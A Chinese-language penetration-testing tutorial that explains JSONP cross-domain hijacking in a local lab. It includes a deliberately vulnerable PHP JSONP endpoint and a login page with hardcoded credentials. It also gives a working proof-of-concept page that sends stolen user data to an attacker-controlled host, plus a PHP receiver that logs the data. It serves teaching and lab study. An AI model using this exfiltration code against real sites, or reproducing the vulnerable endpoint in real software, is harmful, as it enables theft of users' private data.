渗透测试基础——一文详解JSONP跨域劫持漏洞原理与利用
提示文章写完后目录可以自动生成如何生成可参考右边的帮助文档文章目录JSONP劫持漏洞描述同源策略可能存在的漏洞点JSONP漏洞劫持原理JSONP漏洞攻击方法案例分析login.php页面user.php页面jsonp劫持验证脚本构造恶意网站jsonp_poc.html 远程调用脚本1.php内容关键步骤总结JSONP劫持漏洞描述Jsonp(JSON with Padding)是json的一种使用模式可以让网页从别的域名网站那获取资料即跨域读取数据。同源策略为什么我们从不同的域网站访问数据需要一个特殊的技术(JSONP )呢这是因为同源策略同源策略它是由Netscape提出的一个著名的安全策略现在所有支持JavaScript的浏览器都会使用这个策略。同源策略具体的可以看官方解释如果两个 URL 的协议、端口如果有指定的话和主机都相同的话则这两个 URL 是同源的。这个方案也被称为“协议/主机/端口元组”或者直接是“元组”。下表给出了与 URLhttp://store.company.com/dir/page.html的源进行对比的示例可能存在的漏洞点同时我们应该注意是否有传⼊的callback值用户输入可控会在结果⾥⾯直接返回。因此如果该参数过滤不严格。可以随便输⼊callback值为alert(1);parseResponse字符串返回结果会打印个alert窗⼝然后也会正常执⾏。攻击者模拟⽤户向有漏洞的服务器发送JSONP请求然后就获取到了⽤户的某些信息再将这些信息发送到攻击者可控的服务。JSONP漏洞劫持原理JSONP核心原理通过动态创建script标签实现跨域script标签的src不受浏览器同源策略约束。受同源策略管控的XmlHttpRequest仅能请求同协议、同域名、同端口的同源资源而HTML的script标签天然支持跨域加载后端接口可返回一段可执行JS代码借助JSON格式完成前端数据传递。举个场景示例1现有站点A恶意网站、站点B正规业务网站。用户在B网站完成注册留存手机号、身份证、账号等敏感隐私数据B开放了一处JSONP接口正常场景下该接口用于在B站内页面渲染展示用户个人数据。2若B站点的JSONP接口缺少Referer/Origin来源校验存在安全漏洞当登录过B的用户访问恶意网站A时A即可构造恶意页面利用该漏洞发起JSONP跨域劫持窃取用户在B站点的隐私信息。具体关系如上图所示JSONP漏洞攻击方法JSONP 劫持的攻击思路与 CSRF 相近二者都需要目标用户处于已登录状态会话身份未失效诱导用户访问攻击者构造的恶意页面。攻击者先寻找携带敏感数据的 JSONP 接口编写恶意 JS 代码嵌入页面受害者点开恶意网页后页面自动跨域调用目标站点的 JSONP 接口接口返回的用户隐私数据会被恶意脚本捕获最终回传至攻击者控制的远程服务器。话不多说我们直接用几个案例加深大家的印象案例分析这里我们现在PHPstudy创建一个网页www.zhenggui.com随后将下述几个文件放进去login.php页面该代码主要负责用户登陆?phpsession_start();// 接收表单提交if($_POST){$username$_POST[username];$password$_POST[password];// 固定账号密码if($usernameadmin$passwordadmin123){// 登录成功写入session标记$_SESSION[name]$username;// 跳转到user.phpheader(Location: user.php);exit;}else{$msg账号或密码错误;}}?!--登录HTML表单--!DOCTYPEhtmlhtmlheadmeta charsetutf-8title登录页面/title/headbody?phpif(isset($msg))echo$msg;?form methodpostactionusername:input typetextnameusernamevalueadminbrpassword:input typepasswordnamepasswordbrinput typesubmitnameloginvaluelogin/form/body/html这里采用固定密码admin/admin123进行登陆user.php页面登陆后网站展示JSON数据的页面模拟某个网站存在的漏洞?phpsession_start();// 未登录校验if(empty($_SESSION[name])){echono login;// 未登录跳转登录页// header(location: login.php);exit;}header(Content-Type: application/json);$callbackisset($_GET[callback])?$_GET[callback]:;if(!empty($callback)){// JSONP格式返回数据echo$callback.({id:1,name:w1nner,email:admin1qaz2wsx.com});;}else{// 普通JSONecho{id:1,name:w1nner,email:admin1qaz2wsx.com};}?显示页面如下代码解释callback是可控参数是⼀个给脚本动态调⽤数据的例如获取json数据进⾏后期处理。 在挖掘漏洞的时候关注callback、call等关键词;输⼊callback123435看到⻚⾯回显123435 这就代表存在⼀个可控参数jsonp劫持验证脚本!DOCTYPEhtmlhtmlheadmeta charsetutf-8title/title!--在线引入无需本地js文件--script srchttps://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js/scriptscriptfunctionjsonp(data){alert(JSON.stringify(data));}/script/headbodyscript srchttp://www.zhenggui.com:9091/user.php?callbackjsonp/script/body/html把这个⻚⾯放在⽬标⽹站上⾏就会弹出相关敏感信息接下来我们的目的诱导用户点击攻击者构造的恶意网站的jsonp劫持脚本就是上面这个从而获取该用户/网站的JSON数据构造恶意网站这里我们继续在小P创建一个新网站www.eyiwangzhan.com随后将上述的jsonp劫持脚本放到恶意网站的目录下因为有同源策略的关系我们是调用不了的- 同源策略不同域名调用不了数据 - JSONP可以实现跨域调用因为我们在恶意网站上访问并没有携带Cookie数据所以提示没有loginjsonp_poc.html 远程调用脚本所以这里我们准备一个远程脚本通常我们是把这个页面放在远程的⽬标上让受害者访问改目标上自动执行获取敏感数据!DOCTYPE htmlhtmlheadmetacharsetUTF-8title/title!--CDN在线引入jQuery无需本地jquery-2.1.4.min.js文件--scriptsrchttps://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js/scriptscriptfunctionjsonp(data){//alert(v.name);var xmlhttpnew XMLHttpRequest();//此处远程接收地址按需替换成你的攻击者服务器地址 var urlhttp://eyiwangzhan/1.php?file JSON.stringify(data);xmlhttp.open(GET,url,true);xmlhttp.send();}/script!--替换为你的目标域名接口--scriptsrchttp://www.zhenggui.com:9091/user.php?callbackjsonp/script/headbody/body/html脚本整体作用script标签不受浏览器同源策略限制可以跨域名加载脚本目标user.php是 JSONP 接口收到callbackjsonp参数后返回一段 JSjsonp({用户隐私数据})浏览器自动执行页面里预先定义的jsonp()函数用户数据就传入data变量src访问之后执⾏jsnop⾥的代码把敏感数据 保存到远程服务器上。关键两处地址含义http://www.zhenggui.com:9091/user.php被攻击目标接口存在 JSONP 劫持漏洞返回登录用户敏感信息http://远程服务器/1.php攻击者自己的收信脚本作用接收上传的用户数据、保存到服务器日志。1.php内容?phpif($_GET[file]){file_put_contents(json.txt,$_GET[file]);}首先判断是否有数据有数据的话就保存至json.txt文件里关键步骤所以这里我们用某种手段把jsonp_poc.html 远程调用脚本放到了目标网站上把jsonp_poc.html放在远程服务器恶意网站上。当受害者访问改⻚⾯时的 就会受到劫持。 劫持的数据就会保存远程服务器上。测试的时候记得带上token不然远程访问会失败。随后诱导用户点击了该脚本http://www.eyiwangzhan.com:9087/jsonp_poc.html带上cookie1第一步抓包模拟用户点击恶意网站的劫持脚本2第二步获取用户的cookieCookie:PHPSESSIDrf7ufdd3q8p9q970uncsdduqo03将cookie放到刚刚抓的包里成功生成返回了信息总结漏洞成因同源策略浏览器安全机制AJAX(XHR)禁止跨域读取数据但script标签src不受同源限制JSONP依靠该特性实现跨域数据交互。漏洞根源服务端JSONP接口未校验请求来源Referer/Origin、无随机令牌校验可被任意站点自定义回调函数由此产生劫持漏洞。攻击原理与手段原理漏洞接口接收自定义callback参数返回回调函数(用户隐私数据)格式JS代码恶意页面提前定义同名回调接口返回代码在浏览器执行后用户数据直接流入恶意脚本。攻击方式和CSRF近似需要受害者保持目标网站登录状态Cookie有效诱导访问攻击者搭建的恶意页面页面自动跨域调用漏洞接口窃取隐私后回传攻击者服务器。业务端login.php实现账号登录admin/admin123登录写入Sessionuser.php是存在漏洞的JSONP接口登录后返回用户敏感信息无来源校验。攻击端恶意页面jsonp_poc.html定义接收数据的回调函数通过script标签跨域请求user.php接收脚本1.php部署在攻击者服务器接收劫持到的用户数据并落地保存。复现步骤受害者登录正规站点→保留登录会话→访问恶意网页→隐私数据自动被劫持上传。